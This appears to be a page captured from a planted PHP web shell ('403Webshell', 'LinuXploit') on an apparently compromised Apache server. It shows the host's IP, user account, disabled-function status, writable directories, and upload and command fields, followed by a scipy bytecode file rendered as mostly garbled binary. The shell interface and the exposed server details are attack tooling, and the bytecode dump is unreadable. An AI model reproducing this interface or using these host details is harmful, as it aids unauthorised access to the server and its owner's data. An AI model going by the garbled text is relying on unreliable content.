403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/sparse/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/sparse/__pycache__/_matrix_io.cpython-311.pyc
�

d�c��D�ddlZddlZddgZed���Zd	d�Zd�ZdS)
�N�save_npz�load_npzF)�allow_pickleTc��i}|jdvr"|�|j|j���n{|jdkr|�|j���nT|jdkr"|�|j|j���n'td�|j�����|�|j�d��|j	|j
�	��|rtj|fi|��d
Stj
|fi|��d
S)ac Save a sparse matrix to a file using ``.npz`` format.

    Parameters
    ----------
    file : str or file-like object
        Either the file name (string) or an open file (file-like object)
        where the data will be saved. If file is a string, the ``.npz``
        extension will be appended to the file name if it is not already
        there.
    matrix: spmatrix (format: ``csc``, ``csr``, ``bsr``, ``dia`` or coo``)
        The sparse matrix to save.
    compressed : bool, optional
        Allow compressing the file. Default: True

    See Also
    --------
    scipy.sparse.load_npz: Load a sparse matrix from a file using ``.npz`` format.
    numpy.savez: Save several arrays into a ``.npz`` archive.
    numpy.savez_compressed : Save several arrays into a compressed ``.npz`` archive.

    Examples
    --------
    Store sparse matrix to disk, and load it again:

    >>> import numpy as np
    >>> import scipy.sparse
    >>> sparse_matrix = scipy.sparse.csc_matrix(np.array([[0, 0, 3], [4, 0, 0]]))
    >>> sparse_matrix
    <2x3 sparse matrix of type '<class 'numpy.int64'>'
       with 2 stored elements in Compressed Sparse Column format>
    >>> sparse_matrix.toarray()
    array([[0, 0, 3],
           [4, 0, 0]], dtype=int64)

    >>> scipy.sparse.save_npz('/tmp/sparse_matrix.npz', sparse_matrix)
    >>> sparse_matrix = scipy.sparse.load_npz('/tmp/sparse_matrix.npz')

    >>> sparse_matrix
    <2x3 sparse matrix of type '<class 'numpy.int64'>'
       with 2 stored elements in Compressed Sparse Column format>
    >>> sparse_matrix.toarray()
    array([[0, 0, 3],
           [4, 0, 0]], dtype=int64)
    ��csc�csr�bsr)�indices�indptr�dia)�offsets�coo)�row�colz7Save is not implemented for sparse matrix of format {}.�ascii)�format�shape�dataN)r�updaterrrrr�NotImplementedError�encoderr�np�savez_compressed�savez)�file�matrix�
compressed�arrays_dicts    �9/usr/lib/python3/dist-packages/scipy/sparse/_matrix_io.pyrrs0��Z�K�
�}�-�-�-����6�>�&�-��H�H�H�H�	��%�	�	����6�>��2�2�2�2�	��%�	�	����v�z�v�z��:�:�:�:�!�"[�"b�"b�ci�cp�"q�"q�r�r�r�����}�#�#�G�,�,��l�
�[�����
�&�
��D�0�0�K�0�0�0�0�0�
���%�%��%�%�%�%�%�c��tj|fit��5}	|d}n5#t$r(}t	d�|����|�d}~wwxYw|���}t|t��s|�	d��}	ttjd�|����}n5#t$r(}t	d�|����|�d}~wwxYw|dvr4||d|d	|d
f|d���cddd��S|d
kr-||d|df|d���cddd��S|dkr5||d|d|dff|d���cddd��Std�|�����#1swxYwYdS)a� Load a sparse matrix from a file using ``.npz`` format.

    Parameters
    ----------
    file : str or file-like object
        Either the file name (string) or an open file (file-like object)
        where the data will be loaded.

    Returns
    -------
    result : csc_matrix, csr_matrix, bsr_matrix, dia_matrix or coo_matrix
        A sparse matrix containing the loaded data.

    Raises
    ------
    OSError
        If the input file does not exist or cannot be read.

    See Also
    --------
    scipy.sparse.save_npz: Save a sparse matrix to a file using ``.npz`` format.
    numpy.load: Load several arrays from a ``.npz`` archive.

    Examples
    --------
    Store sparse matrix to disk, and load it again:

    >>> import numpy as np
    >>> import scipy.sparse
    >>> sparse_matrix = scipy.sparse.csc_matrix(np.array([[0, 0, 3], [4, 0, 0]]))
    >>> sparse_matrix
    <2x3 sparse matrix of type '<class 'numpy.int64'>'
       with 2 stored elements in Compressed Sparse Column format>
    >>> sparse_matrix.toarray()
    array([[0, 0, 3],
           [4, 0, 0]], dtype=int64)

    >>> scipy.sparse.save_npz('/tmp/sparse_matrix.npz', sparse_matrix)
    >>> sparse_matrix = scipy.sparse.load_npz('/tmp/sparse_matrix.npz')

    >>> sparse_matrix
    <2x3 sparse matrix of type '<class 'numpy.int64'>'
        with 2 stored elements in Compressed Sparse Column format>
    >>> sparse_matrix.toarray()
    array([[0, 0, 3],
           [4, 0, 0]], dtype=int64)
    rz-The file {} does not contain a sparse matrix.Nrz	{}_matrixzUnknown matrix format "{}"rrrrr)rr
rrrrz7Load is not implemented for sparse matrix of format {}.)r�load�
PICKLE_KWARGS�KeyError�
ValueErrorr�item�
isinstance�str�decode�getattr�scipy�sparse�AttributeErrorr)r�loaded�
matrix_format�e�clss     r rrLs���b
���	'�	'��	'�	'�[�6�	b�"�8�,�M�M���	b�	b�	b��L�S�S�TX�Y�Y�Z�Z�`a�a�����	b����&�*�*�,�,�
��-��-�-�	:�*�0�0��9�9�M�	X��%�,��(:�(:�=�(I�(I�J�J�C�C���	X�	X�	X��9�@�@��O�O�P�P�VW�W�����	X�����1�1�1��3��v���y�(9�6�(�;K�L�TZ�[b�Tc�d�d�d�'[�[�[�[�[�[�[�[�(�e�
#�
#��3��v���y�(9�:�&��/�R�R�R�+[�[�[�[�[�[�[�[�,�e�
#�
#��3��v������u�
�(F�G�v�V]��_�_�_�/[�[�[�[�[�[�[�[�2&�'D�DJ�F�=�DY�DY�[�[�
[�3[�[�[�[����[�[�[�[�[�[sg�G�#�G�
A�#A�A�AG�-C�G�
C7�#C2�2C7�7.G�2&G�%.G� "G�G�	G)T)	�numpyr�scipy.sparser,�__all__�dictr$rr�r!r �<module>r8ss�����������z�
"����%�(�(�(�
�>&�>&�>&�>&�BK[�K[�K[�K[�K[r!

Youez - 2016 - github.com/yon3zu
LinuXploit